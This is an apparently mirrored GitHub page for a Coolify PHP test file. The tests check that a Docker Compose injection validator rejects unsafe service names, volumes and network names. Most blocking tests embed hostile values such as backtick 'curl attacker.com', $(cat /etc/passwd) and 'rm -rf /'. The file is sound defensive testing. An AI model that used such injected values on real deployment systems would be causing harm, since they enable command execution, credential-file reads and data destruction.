mirror of
https://github.com/coollabsio/coolify.git
synced 2026-10-08 06:56:02 -04:00
Git-based Docker Compose applications skipped the Compose injection
validation that services use. It now runs when the file is loaded or
reloaded, when the raw Compose is saved (UI and API create), and at
deployment before any command uses the file; an unsafe file is not
saved, and a deployment stops with a clear log line.
- All 371 service templates and realistic Compose files still pass.
- Network names may now mix text with $VAR, ${VAR}, ${VAR:-default},
or ${VAR-default} (for example ${COMPOSE_PROJECT_NAME}_default), so
such existing applications keep deploying; command substitution and
unsafe defaults stay rejected.
- Quote the preserved-repository path in a stat command.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
322 lines
9.6 KiB
PHP
322 lines
9.6 KiB
PHP
<?php
|
|
|
|
test('validateDockerComposeForInjection blocks malicious service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
evil`curl attacker.com`:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/pwn`curl attacker.com`:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl attacker.com`'
|
|
target: /app
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '$(cat /etc/passwd):/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks pipes in service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web|cat /etc/passwd:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test; rm -rf /:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose files', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www/html:/usr/share/nginx/html
|
|
- app-data:/data
|
|
db:
|
|
image: postgres:15
|
|
volumes:
|
|
- db-data:/var/lib/postgresql/data
|
|
volumes:
|
|
app-data:
|
|
db-data:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA_PATH}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA:-$(cat /etc/passwd)}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection requires services section', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
version: '3'
|
|
networks:
|
|
mynet:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles empty volumes array', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes: []
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
|
|
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
|
|
|
|
// YAML parser will reject this before our validation (which is good!)
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test > /etc/passwd:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection validates volume targets', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/safe:/app`curl attacker.com`'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles multiple services', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www:/usr/share/nginx/html
|
|
api:
|
|
image: node:18
|
|
volumes:
|
|
- /app/src:/usr/src/app
|
|
db:
|
|
image: postgres:15
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid top-level network names', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
"app'network":
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose network name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid service network list items', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
- "app'network"
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service network');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid service network map keys', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
"app'network":
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service network');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks invalid compose network name fields', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
frontend:
|
|
name: "app'network"
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose network name field');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose networks', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
networks:
|
|
- frontend
|
|
- backend
|
|
networks:
|
|
frontend:
|
|
backend:
|
|
name: app-backend
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) {
|
|
$compose = <<<YAML
|
|
services:
|
|
app:
|
|
image: nginx:latest
|
|
networks:
|
|
- shared
|
|
networks:
|
|
shared:
|
|
external: true
|
|
name: '{$name}'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
|
|
})->with([
|
|
'variable' => ['${SHARED_NETWORK}'],
|
|
'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'],
|
|
'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'],
|
|
]);
|
|
|
|
test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) {
|
|
$networkKey = $where === 'key' ? $name : 'shared';
|
|
$nameField = $where === 'name' ? $name : 'shared';
|
|
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n";
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name');
|
|
})->with([
|
|
'default with shell characters' => ['${NET:-bad name;id}', 'name'],
|
|
'default with command substitution' => ['${NET:-$(id)}', 'name'],
|
|
'command substitution' => ['$(id)', 'name'],
|
|
'backticks' => ['`id`', 'name'],
|
|
'text around a variable with command substitution' => ['prefix_${NET}$(id)', 'name'],
|
|
'nested variable' => ['${NET:-${OTHER}}', 'name'],
|
|
'invalid variable name' => ['${1NET}', 'name'],
|
|
'required-variable form' => ['${NET:?missing}', 'name'],
|
|
'newline' => ["\${NET}\nid", 'name'],
|
|
'variable as network key' => ['${NET}', 'key'],
|
|
]);
|
|
|
|
test('validateDockerComposeForInjection accepts network names that mix variables and text', function (string $name) {
|
|
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n shared:\n name: ".json_encode($name)."\n";
|
|
|
|
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
|
|
})->with([
|
|
'prefix and variable' => ['prefix_${NET}'],
|
|
'project default network' => ['${COMPOSE_PROJECT_NAME}_default'],
|
|
'variable with default inside text' => ['app-${APP_ENV:-prod}-net'],
|
|
'bare variable' => ['$PREFIX.edge'],
|
|
]);
|